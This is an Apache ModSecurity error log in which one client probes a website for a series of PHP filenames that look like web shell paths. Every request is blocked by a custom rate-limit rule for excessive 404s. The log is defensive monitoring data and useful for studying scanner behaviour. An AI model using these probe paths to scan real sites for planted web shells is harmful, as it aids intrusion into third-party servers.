[Fri Apr 24 20:01:13.232204 2026] [:error] [pid 4177:tid 4209] [client 20.203.209.229:27545] [client 20.203.209.229] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-png.php"] [unique_id "aetbiX2asKnvdrSe0x7yJwAAAZg"]
[Fri Apr 24 20:01:14.221360 2026] [:error] [pid 22114:tid 22135] [client 20.203.209.229:38248] [client 20.203.209.229] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/tx79.php"] [unique_id "aetbioAuWGz3WlMQjofknQAAARI"]
[Fri Apr 24 20:01:21.937028 2026] [:error] [pid 17808:tid 17827] [client 20.203.209.229:36298] [client 20.203.209.229] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/tx79.php"] [unique_id "aetbkearbOEFI8qshvIojgAAAFE"]
[Fri Apr 24 20:01:26.656018 2026] [:error] [pid 17808:tid 17828] [client 20.203.209.229:63353] [client 20.203.209.229] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/tx79.php"] [unique_id "aetbluarbOEFI8qshvIomwAAAFI"]
[Fri Apr 24 20:01:30.188523 2026] [:error] [pid 17720:tid 17759] [client 20.203.209.229:54115] [client 20.203.209.229] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/8.php"] [unique_id "aetbmuhlUs6BS3Ng7_WTTgAAAMU"]
[Fri Apr 24 20:01:33.296312 2026] [:error] [pid 4177:tid 4207] [client 20.203.209.229:4441] [client 20.203.209.229] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/8.php"] [unique_id "aetbnX2asKnvdrSe0x7yUAAAAZY"]
[Fri Apr 24 20:01:35.539526 2026] [:error] [pid 17720:tid 17757] [client 20.203.209.229:38269] [client 20.203.209.229] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/8.php"] [unique_id "aetbn-hlUs6BS3Ng7_WTXAAAAMM"]
[Fri Apr 24 20:01:38.424119 2026] [:error] [pid 17721:tid 17798] [client 20.203.209.229:63715] [client 20.203.209.229] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/8.php"] [unique_id "aetbouFXXkLeyDnfk_8x1QAAABE"]
[Fri Apr 24 20:01:40.617978 2026] [:error] [pid 4177:tid 4192] [client 20.203.209.229:56386] [client 20.203.209.229] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/public/mI35rZhMg1zJ1vuXdefault.php"] [unique_id "aetbpH2asKnvdrSe0x7yZwAAAYc"]
[Fri Apr 24 20:01:44.543878 2026] [:error] [pid 17720:tid 17772] [client 20.203.209.229:54111] [client 20.203.209.229] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/public/mI35rZhMg1zJ1vuXdefault.php"] [unique_id "aetbqOhlUs6BS3Ng7_WTfAAAANI"]
[Fri Apr 24 20:01:47.350340 2026] [:error] [pid 17720:tid 17763] [client 20.203.209.229:38224] [client 20.203.209.229] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/public/mI35rZhMg1zJ1vuXdefault.php"] [unique_id "aetbq-hlUs6BS3Ng7_WThQAAAMk"]
[Fri Apr 24 20:01:48.760188 2026] [:error] [pid 17720:tid 17766] [client 20.203.209.229:63680] [client 20.203.209.229] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/public/mI35rZhMg1zJ1vuXdefault.php"] [unique_id "aetbrOhlUs6BS3Ng7_WTiAAAAMw"]
[Fri Apr 24 20:02:00.704149 2026] [:error] [pid 14531:tid 14541] [client 20.203.209.229:52786] [client 20.203.209.229] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/rip.php"] [unique_id "aetbuHfLU2gw-6KR-Ga-GgAAAUg"]
[Fri Apr 24 20:02:06.010104 2026] [:error] [pid 4177:tid 4201] [client 20.203.209.229:4466] [client 20.203.209.229] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/rip.php"] [unique_id "aetbvn2asKnvdrSe0x7ynwAAAZA"]
[Fri Apr 24 20:02:09.225502 2026] [:error] [pid 17808:tid 17811] [client 20.203.209.229:4456] [client 20.203.209.229] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/rip.php"] [unique_id "aetbwearbOEFI8qshvIpAQAAAEE"]
[Fri Apr 24 20:02:10.820017 2026] [:error] [pid 17720:tid 17766] [client 20.203.209.229:41645] [client 20.203.209.229] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/rip.php"] [unique_id "aetbwuhlUs6BS3Ng7_WTswAAAMw"]
[Fri Apr 24 20:02:13.778487 2026] [:error] [pid 17719:tid 17736] [client 20.203.209.229:22002] [client 20.203.209.229] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/gptsh.php"] [unique_id "aetbxcTZ9gzEyL1BkPqiQwAAAIk"]
[Fri Apr 24 20:02:21.193320 2026] [:error] [pid 14531:tid 14555] [client 20.203.209.229:63699] [client 20.203.209.229] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/gptsh.php"] [unique_id "aetbzXfLU2gw-6KR-Ga-JwAAAVY"]
[Fri Apr 24 20:02:28.747304 2026] [:error] [pid 17721:tid 17792] [client 20.203.209.229:36297] [client 20.203.209.229] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/0x.php"] [unique_id "aetb1OFXXkLeyDnfk_8yBQAAAAs"]
[Fri Apr 24 20:02:31.321923 2026] [:error] [pid 4177:tid 4193] [client 20.203.209.229:63302] [client 20.203.209.229] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/0x.php"] [unique_id "aetb132asKnvdrSe0x7yzwAAAYg"]
[Fri Apr 24 20:02:35.587109 2026] [:error] [pid 4177:tid 4202] [client 20.203.209.229:56442] [client 20.203.209.229] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/0x.php"] [unique_id "aetb232asKnvdrSe0x7y4gAAAZE"]
[Fri Apr 24 20:02:38.862294 2026] [:error] [pid 17720:tid 17775] [client 20.203.209.229:38262] [client 20.203.209.229] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/0x.php"] [unique_id "aetb3uhlUs6BS3Ng7_WUIQAAANU"]
[Fri Apr 24 20:02:43.144020 2026] [:error] [pid 17720:tid 17764] [client 20.203.209.229:27531] [client 20.203.209.229] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/bgymj.php"] [unique_id "aetb4-hlUs6BS3Ng7_WUOQAAAMo"]
[Fri Apr 24 20:02:44.390958 2026] [:error] [pid 14531:tid 14552] [client 20.203.209.229:41618] [client 20.203.209.229] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/bgymj.php"] [unique_id "aetb5HfLU2gw-6KR-Ga-MwAAAVM"]
[Fri Apr 24 20:02:44.926000 2026] [:error] [pid 14531:tid 14541] [client 20.203.209.229:48794] [client 20.203.209.229] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/bgymj.php"] [unique_id "aetb5HfLU2gw-6KR-Ga-NQAAAUg"]
[Fri Apr 24 20:02:45.973357 2026] [:error] [pid 14531:tid 14543] [client 20.203.209.229:40324] [client 20.203.209.229] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/bgymj.php"] [unique_id "aetb5XfLU2gw-6KR-Ga-NwAAAUo"]
[Fri Apr 24 20:02:46.823442 2026] [:error] [pid 17721:tid 17793] [client 20.203.209.229:62542] [client 20.203.209.229] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/100.php"] [unique_id "aetb5uFXXkLeyDnfk_8yEAAAAAw"]
[Fri Apr 24 20:02:47.567138 2026] [:error] [pid 4177:tid 4197] [client 20.203.209.229:4433] [client 20.203.209.229] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/100.php"] [unique_id "aetb532asKnvdrSe0x7y-gAAAYw"]
[Fri Apr 24 20:02:48.352361 2026] [:error] [pid 17808:tid 17833] [client 20.203.209.229:63722] [client 20.203.209.229] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/100.php"] [unique_id "aetb6OarbOEFI8qshvIpLwAAAFc"]
[Fri Apr 24 20:02:49.288657 2026] [:error] [pid 4177:tid 4204] [client 20.203.209.229:65489] [client 20.203.209.229] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/100.php"] [unique_id "aetb6X2asKnvdrSe0x7zBgAAAZM"]
[Fri Apr 24 20:02:51.966922 2026] [:error] [pid 14531:tid 14542] [client 20.203.209.229:63338] [client 20.203.209.229] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/bolt.php"] [unique_id "aetb63fLU2gw-6KR-Ga-SgAAAUk"]
[Fri Apr 24 20:02:56.355951 2026] [:error] [pid 17808:tid 17825] [client 20.203.209.229:40378] [client 20.203.209.229] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/bolt.php"] [unique_id "aetb8OarbOEFI8qshvIpQAAAAE8"]
[Fri Apr 24 20:03:09.560966 2026] [:error] [pid 17808:tid 17823] [client 20.203.209.229:38260] [client 20.203.209.229] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/Cap.php"] [unique_id "aetb_earbOEFI8qshvIpwAAAAE0"]
[Fri Apr 24 20:03:11.963006 2026] [:error] [pid 4177:tid 4192] [client 20.203.209.229:65180] [client 20.203.209.229] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/Cap.php"] [unique_id "aetb_32asKnvdrSe0x7zPQAAAYc"]
[Fri Apr 24 20:03:17.672935 2026] [:error] [pid 17719:tid 17734] [client 20.203.209.229:4302] [client 20.203.209.229] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/Cap.php"] [unique_id "aetcBcTZ9gzEyL1BkPqisgAAAIc"]
[Fri Apr 24 20:03:27.821453 2026] [:error] [pid 4177:tid 4205] [client 20.203.209.229:63139] [client 20.203.209.229] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/tfm.php"] [unique_id "aetcD32asKnvdrSe0x7zewAAAZQ"]
[Fri Apr 24 20:03:31.209539 2026] [:error] [pid 4177:tid 4198] [client 20.203.209.229:63966] [client 20.203.209.229] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/tfm.php"] [unique_id "aetcE32asKnvdrSe0x7ziAAAAY0"]
[Fri Apr 24 20:03:37.781138 2026] [:error] [pid 22114:tid 22117] [client 20.203.209.229:63109] [client 20.203.209.229] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/tfm.php"] [unique_id "aetcGYAuWGz3WlMQjofk0gAAAQA"]
[Fri Apr 24 20:03:43.366990 2026] [:error] [pid 17721:tid 17797] [client 20.203.209.229:63911] [client 20.203.209.229] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/xper1.php"] [unique_id "aetcH-FXXkLeyDnfk_8yNwAAABA"]
[Fri Apr 24 20:03:45.678187 2026] [:error] [pid 17721:tid 17785] [client 20.203.209.229:22130] [client 20.203.209.229] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/xper1.php"] [unique_id "aetcIeFXXkLeyDnfk_8yOQAAAAQ"]
[Fri Apr 24 20:03:55.324573 2026] [:error] [pid 17720:tid 17756] [client 20.203.209.229:40593] [client 20.203.209.229] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/xper1.php"] [unique_id "aetcK-hlUs6BS3Ng7_WU5gAAAMI"]
[Fri Apr 24 20:03:58.265476 2026] [:error] [pid 4177:tid 4194] [client 20.203.209.229:43197] [client 20.203.209.229] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/t00l.php"] [unique_id "aetcLn2asKnvdrSe0x7z4gAAAYk"]
[Fri Apr 24 20:04:02.789250 2026] [:error] [pid 17808:tid 17828] [client 20.203.209.229:43174] [client 20.203.209.229] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/t00l.php"] [unique_id "aetcMuarbOEFI8qshvIp7QAAAFI"]
[Fri Apr 24 20:04:05.056008 2026] [:error] [pid 17808:tid 17824] [client 20.203.209.229:15299] [client 20.203.209.229] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/t00l.php"] [unique_id "aetcNearbOEFI8qshvIp7gAAAE4"]
[Fri Apr 24 20:04:22.936770 2026] [:error] [pid 17720:tid 17769] [client 20.203.209.229:19065] [client 20.203.209.229] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/sadcut1.php"] [unique_id "aetcRuhlUs6BS3Ng7_WVIAAAAM8"]
[Fri Apr 24 20:04:27.561588 2026] [:error] [pid 17721:tid 17804] [client 20.203.209.229:57035] [client 20.203.209.229] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/sadcut1.php"] [unique_id "aetcS-FXXkLeyDnfk_8yXgAAABc"]
[Fri Apr 24 20:04:30.226822 2026] [:error] [pid 17720:tid 17772] [client 20.203.209.229:13740] [client 20.203.209.229] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/sadcut1.php"] [unique_id "aetcTuhlUs6BS3Ng7_WVJgAAANI"]
[Fri Apr 24 20:04:59.150548 2026] [:error] [pid 17808:tid 17815] [client 20.203.209.229:4359] [client 20.203.209.229] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/666.php"] [unique_id "aetca-arbOEFI8qshvIqLAAAAEU"]
[Fri Apr 24 20:05:00.624014 2026] [:error] [pid 17721:tid 17800] [client 20.203.209.229:61476] [client 20.203.209.229] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/666.php"] [unique_id "aetcbOFXXkLeyDnfk_8ybQAAABM"]
[Fri Apr 24 20:05:02.719906 2026] [:error] [pid 4177:tid 4208] [client 20.203.209.229:52208] [client 20.203.209.229] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/666.php"] [unique_id "aetcbn2asKnvdrSe0x702QAAAZc"]
[Fri Apr 24 20:05:05.527715 2026] [:error] [pid 17720:tid 17776] [client 20.203.209.229:24280] [client 20.203.209.229] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/666.php"] [unique_id "aetccehlUs6BS3Ng7_WVWAAAANY"]
[Fri Apr 24 20:05:07.405195 2026] [:error] [pid 4177:tid 4188] [client 20.203.209.229:41719] [client 20.203.209.229] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/xwx1.php"] [unique_id "aetcc32asKnvdrSe0x709QAAAYM"]
[Fri Apr 24 20:05:10.863179 2026] [:error] [pid 17720:tid 17757] [client 20.203.209.229:61492] [client 20.203.209.229] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/xwx1.php"] [unique_id "aetcduhlUs6BS3Ng7_WVXAAAAMM"]
[Fri Apr 24 20:05:11.347750 2026] [:error] [pid 17721:tid 17791] [client 20.203.209.229:4591] [client 20.203.209.229] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/xwx1.php"] [unique_id "aetcd-FXXkLeyDnfk_8ydgAAAAo"]
[Fri Apr 24 20:05:13.753805 2026] [:error] [pid 4177:tid 4209] [client 20.203.209.229:4664] [client 20.203.209.229] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/xwx1.php"] [unique_id "aetceX2asKnvdrSe0x70_QAAAZg"]
